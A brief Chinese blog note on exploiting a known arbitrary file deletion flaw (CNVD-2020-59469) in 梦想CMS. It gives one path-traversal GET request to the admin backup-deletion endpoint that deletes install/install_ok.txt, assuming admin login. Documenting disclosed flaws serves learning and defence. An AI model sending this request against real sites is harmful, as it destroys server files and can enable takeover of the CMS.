【笔记】梦想CMS任意文件删除漏洞利用

发表于 更新于 阅读次数：

前言

梦想CMS任意文件删除漏洞利用
CNVD-2020-59469

漏洞利用前提

  • 可以登录管理员后台

漏洞利用

../../install/install_ok.txt：删除的文件

request
1
GET http://127.0.0.1:80/admin.php?m=backdb&a=delbackdb&filename=../../install/install_ok.txt

完成